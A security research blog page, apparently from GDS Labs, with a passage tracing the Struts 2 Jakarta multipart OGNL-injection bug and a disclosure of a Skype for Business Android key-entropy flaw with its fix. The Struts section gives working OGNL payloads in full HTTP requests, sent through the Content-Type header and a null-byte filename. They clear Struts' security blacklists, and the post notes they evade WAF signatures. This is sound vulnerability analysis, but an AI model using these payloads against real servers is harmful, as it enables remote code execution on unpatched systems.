418:      * <li>If not found, look for the message in aClass' package hierarchy.</li>
419:      * <li>If still not found, look for the message in the default resource bundles.</li>
420:      * <li>Return defaultMessage</li>
421:      * </ol>

Because a resource bundle is not found defining an error message for struts.messages.upload.error.InvalidContentTypeException, this process ends up invoking the method getDefaultMessage on line 573:

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:
570:         // get default
571:         GetDefaultMessageReturnArg result;
572:         if (indexedTextName == null) {
573:             result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
574:         } else {
575:             result = getDefaultMessage(aTextName, locale, valueStack, args, null);
576:             if (result != null &amp;&amp; result.message != null) {
577:                 return result.message;
578:             }
579:             result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
580:         }

The getDefaultMessage method in the same class is responsible making one last ditch effort of trying to find a suitable error message given a key and a locale. In our case, it still fails and takes our tainted exception message and calls TextParseUtil’s translateVariables method on line 729.

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:
714:     private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
715:                                                                 String defaultMessage) {
716:         GetDefaultMessageReturnArg result = null;
717:         boolean found = true;
718:
719:         if (key != null) {
720:             String message = findDefaultText(key, locale);
721:
722:             if (message == null) {
723:                 message = defaultMessage;
724:                 found = false; // not found in bundles
725:             }
726:
727:             // defaultMessage may be null
728:             if (message != null) {
729:                 MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
730:
731:                 String msg = formatWithNullDetection(mf, args);
732:                 result = new GetDefaultMessageReturnArg(msg, found);
733:             }
734:         }
735:
736:         return result;
737:     }

An OGNL Expression Data Sink

As it turns out, TextParseUtil’s translateVariables method is a data sink for expression language evaluation. Just as the method’s comment explains, it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}. Several versions of the translateVariables method are defined and called, with the last evaluating the expression on line 166.

core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:
34:      /**
35:       * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned
36:       * by a call to [email protected] ValueStack#findValue(java.lang.String)}. If an item cannot
37:       * be found on the stack (null is returned), then the entire variable ${...} is not
38:       * displayed, just as if the item was on the stack but returned an empty string.
39:       *
40:       * @param expression an expression that hasn't yet been translated
41:       * @param stack value stack
42:       * @return the parsed expression
43:       */
44:      public static String translateVariables(String expression, ValueStack stack) {
45:          return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
46:      }
[..snip..]
152:     public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
153:
154:     ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
155:             public Object evaluate(String parsedValue) {
156:                 Object o = stack.findValue(parsedValue, asType);
157:                 if (evaluator != null && o != null) {
158:                     o = evaluator.evaluate(o.toString());
159:                 }
160:                 return o;
161:             }
162:         };
163:
164:         TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
165:
166:         return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
167:     }

With this last method call, we have traced an exception message tainted with user input all the way to the evaluation of OGNL.

Payload Analysis

A curious reader might be wondering how the exploit’s payload works. To start, let us first attempt to supply a simple OGNL payload that returns an additional header. We need to include the unused variable in the beginning, so that Dispatcher’s check for a “multipart/form-data” substring passes and our request gets parsed as a file upload.

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
[..snip..]

Huh? It didn’t work. A look at our logs shows a warning was logged:

Logged Exception:
17-03-24 12:48:30,904 WARN  [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [[email protected]] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!

As it turns out, Struts offers blacklisting functionality for class member access (i.e. class methods). By default, the following class lists and regular expressions are used:

core/src/main/resources/struts-default.xml:
41:     <constant name="struts.excludedClasses"
42:               value="
43:                 java.lang.Object,
44:                 java.lang.Runtime,
45:                 java.lang.System,
46:                 java.lang.Class,
47:                 java.lang.ClassLoader,
48:                 java.lang.Shutdown,
49:                 java.lang.ProcessBuilder,
50:                 ognl.OgnlContext,
51:                 ognl.ClassResolver,
52:                 ognl.TypeConverter,
53:                 ognl.MemberAccess,
54:                 ognl.DefaultMemberAccess,
55:                 com.opensymphony.xwork2.ognl.SecurityMemberAccess,
56:                 com.opensymphony.xwork2.ActionContext">
57: 
[..snip..]
63:     <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" >

To better understand the original OGNL payload, let us try a simplified version that actually works:

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html
[..snip..]

As we can see, this one does indeed work. But how is it bypassing the blacklisting we saw earlier?

What this payload does is empty the list of excluded package names and classes, thereby rendering the blacklist useless. It does this by first fetching the current container associated with the OGNL context and assigning it to the “container” variable. You may notice that the class com.opensymphony.xwork2.ActionContext is included in the blacklist above. How is this possible then? The blacklist doesn’t catch it because we aren’t referencing a class member, but rather by a key that already exists in the OGNL Value Stack (defined in core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102). The reference to an instance of this class is already made for us, and the payload takes advantage of this.

Next, the payload gets the container’s instance of OgnlUtil, which allows us to invoke methods that return the current excluded classes and package names. The final step is to simply get and clear each blacklist and execute whatever unrestricted evaluations we want.

An interesting point to make here is that once the blacklists have been emptied, they remain empty until overwritten by code or until the application has been restarted. I found this to be a common pitfall when attempting to reproduce certain payloads found in the wild or documented in other research. Some payloads failed to work because they assumed the blacklists had already been emptied, which would have likely occurred during the testing of different payloads earlier on. This emphasizes the importance of resetting application state when running dynamic tests.

You may have also noticed that the original exploit’s payload used is a bit more complicated than the one presented here. Why does it perform extra steps such as checking a _memberAccess variable and calling a method named setMemberAccess? It may be an attempt to leverage another technique to clear each blacklist, just in case the first technique didn’t work. The setMemberAccess method is called with a default instance of the MemberAcess class, which in effect clears each blacklist too. I could confirm that this technique works in Struts 2.3.31 but not 2.5.10. I am still unsure, however, of what the purpose is of the ternary operator that checks for and conditionally assigns _memberAccess. During testing I did not observe this variable to evaluate as true.

Other Exploit Vectors

Other exploit vectors exist for this vulnerability as of 2.5.10. This is due to the fact that any exception message tainted with user input that doesn’t have an associated error key will be evaluated as OGNL. For example, supplying an upload filename with a null byte will cause an InvalidFileNameException exception to be thrown from the Apache commons fileupload library. This would also bypass a web application firewall rule examining the content-type header. The %00 in the request below should be URL decoded first. The result is an exception message that is tainted with user input.

Reproduction Request:
POST /struts2-showcase/ HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811
Content-Length: 570

-----------------------------1313189278108275512788994811
Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}”
Content-Type: text/html

test
-----------------------------1313189278108275512788994811--
Reproduction Response:
HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input
Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html;charset=ISO-8859-1
[..snip..]
Logged Exception:
2017-03-24 15:21:29,729 WARN  [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a\0${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
	at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]

As you can see by looking at the stacktrace, control flow diverges in the processUpload method of the JakartaMultiPartRequest class. Instead of an exception being thrown when calling the parseRequest method on line 91, an exception is thrown when calling the processFileField method and getting the name of a file item on line 105.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
90:      protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:          for (FileItem item : parseRequest(request, saveDir)) {
92:              LOG.debug("Found file item: [{}]", item.getFieldName());
93:              if (item.isFormField()) {
94:                   processNormalFormField(item, request.getCharacterEncoding());
95:              } else {
96:                  processFileField(item);
97:              }
98:          }
99:      }
[..snip..]
101:     protected void processFileField(FileItem item) {
102:         LOG.debug("Item is a file upload");
103: 
104:         // Skip file uploads that don't have a file name - meaning that no file was selected.
105:         if (item.getName() == null || item.getName().trim().length() < 1) {
106:             LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());
107:             return;
108:         }
109: 
110:         List<FileItem> values;
111:         if (files.get(item.getFieldName()) != null) {
112:             values = files.get(item.getFieldName());
113:         } else {
114:             values = new ArrayList<>();
115:         }
116: 
117:         values.add(item);
118:         files.put(item.getFieldName(), values);
119:     }

Takeaways

One takeaway I had from this research is that you can’t always rely on reading CVE descriptions to understand how a vulnerability works. The reason this vulnerability was ever possible was because the file upload interceptor attempted to resolve error messages using a potentially dangerous function that evaluates OGNL. The elimination of this possibility is what lead to a successful patching of this vulnerability. Therefore this is not a problem with the Jakarta request wrapper, as the CVE description implies, but with the file upload interceptor trusting that exception messages will be free of user input.

Another takeaway I had reinforced the idea that you can’t rely on using known attack signatures to block exploitation at the web application firewall level. For example, if a web application firewall were configured to look for OGNL in the content-type header, it would miss the additional attack vector explained in this post. The only reliable way to eliminate vulnerabilities like this one is to apply available patches, either manually or by installing updates.

Monday
Mar062017

Cryptographic Flaws in Skype for Business

GDS recently discovered and disclosed a vulnerability in Skype for Business caused by mishandling of cryptographic information. Improper use of string objects resulted in reduced entropy for database passwords storing sensitive user data. This vulnerability was detected by decompiling the unobfuscated Java source code stored within the application container. This is very similar to an issue discussed previously by Stephen Komal at GDS two years ago, described at http://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html.

The database stored in the application container under databases/EncryptedDataStore.sqlite on the Android platform used a weaker than optimal key for storage of secure data. While it is likely that for practical purposes the key’s length itself will be sufficient to prevent compromise in the majority of cases, the key is malformed, reducing its entropy significantly. The danger of this vulnerability is that attackers may find a system with a key that is much more easily cracked by brute force than what was originally intended by the software’s authors. In the worst-case scenario, attackers could trivially crack the database key, decrypt the database, and retrieve private user information.

During account set up, each user’s personal data is encrypted in a sqllite database on the Android device using a password for a PBKDF2 key derivation function which is randomly generated, using Java’s SecureRandom functionality. However, that key is immediately converted to a Java string.

com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
53:     private String generateRandomPassword() {
54:         byte[] arrby = new byte[42];
55:         new SecureRandom().nextBytes(arrby);
56:         return new String(arrby);
57:     }

The database key is initialized as follows:

com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
59:     private String getDbKeys() {
60:         String string2;
61:         String string3 = string2 = CredentialsStoreManager.getInstance().getDatabasePassword();
62:         if (string2 != null) return string3;
63:         Trace.d(TAG, “getDbKeys, Database Encryption not stored, creating new password”);
64:         string3 = this.generateRandomPassword();
65:         try {
66:             CredentialsStoreManager.getInstance().setDatabasePassword(string3);
67:             return string3;
68:         }
69:         catch (CredentialStoreException var2_2) {
70:             Trace.e(TAG, “getDbKeys, storage failed!!!!!);
71:             DatabaseAnalytics.reportKeyStorageError(var2_2);
72:             return string3;
73:         }
74:     }

Each user is given a new database password for decryption, which cannot be easily retrieved without rooting the device. GDS retrieved the PBKDF key derivation password by constructing a “hooking” program that dumped out the database password from memory, which was then used to decrypt the database. This could easily be accomplished on any rooted device. The function in question was located by decompiling the unobfuscated Java class files.

The hooked function is shown below:

com/microsoft/office/lync/platform/CredentialsStoreManager.java
312:  public String getDatabasePassword() {
313:         Account account = this.getLyncAccount();
314:         if (account != null) {
315:             return this.accountManager.getUserData(account, “persistanceKey”);
316:         }
317:         Trace.i(“CredentialsStoreManager”, “getDatabasePassword, returning null because no database password is currently stored”);
318:         return null;
319:     }
By “hooking” into this function the database password was found. A sample database password is shown below. Note that this password only relates to a GDS specific test account.

Key Data:

EF BF BD 6C  EF BF BD EF  BF BD 1D EF  BF BD EF BF  BD 68 09 0D  EF BF BD 0A
EF BF BD EF  BF BD EF BF  BD D7 BB EF  BF BD EF BF  BD 57 30 6A  18 EF BF BD
2E 15 EF BF  BD 3F 09 65  38 EF BF BD  31 EF BF BD  EF BF BD EF  BF BD 04 EF
BF BD EF BF  BD EF BF BD  EF BF BD EF  BF BD

In this case a large proportion of the password has been replaced with the unicode “replacement character” byte sequence (EF BF BD.)

The underlying cause of this issue is the use of Java’s String class to hold binary cryptographic data. Java’s String class is not meant to hold raw bytes, and actually will encode strings differently based on each platform’s encoding preferences. The bytes originally being generated by the function above are incorrectly transformed into UTF-8 when used in a string, converting over half the bytes to invalid character sequences. The entire issue can be resolved by removing the use of the String class in favor of the use of byte arrays.

Additionally, it should be noted that the application chronically uses Java strings when handling cryptographic material, compounding the difficulty of resolving the issue. For instance, the application uses a class to store the password during some operations and stores the password itself as a string:

com/microsoft/office/lync/platform/CredentialsStoreManager.java
668: public static class Password {
669:         private final String m_passwordEncrypted;
670:         private String m_passwordPlaintext = null;
671:
672:         private Password(String string2) {
673:             this.m_passwordEncrypted = string2;
674:         }
675:
676:         public static Password fromEncrypted(Context context, String string2) {
677:             return new Password(string2);
678:         }
679:
680:         public static Password fromPlainText(Context object, String string2) {
681:             if (TextUtils.isEmpty((CharSequence)string2)) {
682:                 object = “”;
683:                 return new Password((String)object);
684:             }
685:             object = CryptoUtils.encrypt(string2);
686:             return new Password((String)object);
687:         }
When Skype private keys are loaded, a similar issue occurs:
com/microsoft/office/lync/platform/CredentialsStoreManager.java
396:   String loadPrivateKey(Account object, ICredentialStore.Service service) throws SfbCryptoException {
397:         String string2;
398:         String string3 = string2 = null;
399:         if (object == null) return string3;
400:         object = this.accountManager.getUserData((Account)object, this.privateKeyAccountDataKey(service));
401:         string3 = string2;
402:         if (object == null) return string3;
403:         return CryptoUtils.decrypt((String)object);
404:     }

Remediation

The issue was remediated by converting the password bytes to base64 before they are returned by generateRandomPassword(). This ensures that the original bytes are preserved and are not altered due to character encoding. The fix was applied in the other areas of the application that were similarly vulnerable.
com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
private String generateRandomPassword()
 {
   byte[] arrby = new byte[42];
   new SecureRandom().nextBytes(arrby);
-  return new String(arrby);
+  return Base64.encodeToString(arrby,0);
 }

Disclosure

GDS disclosed this issue to Microsoft in November 2016 and it was remediated in production builds of Skype for Business in December 2016 in version 16.11.0.0.

Microsoft did not assign a CVE or disclose technical details of the vulnerability. GDS researcher John Dunlap was listed on the January “Security Researcher Acknowledgements” which can be found at https://technet.microsoft.com/en-us/security/cc308589.aspx.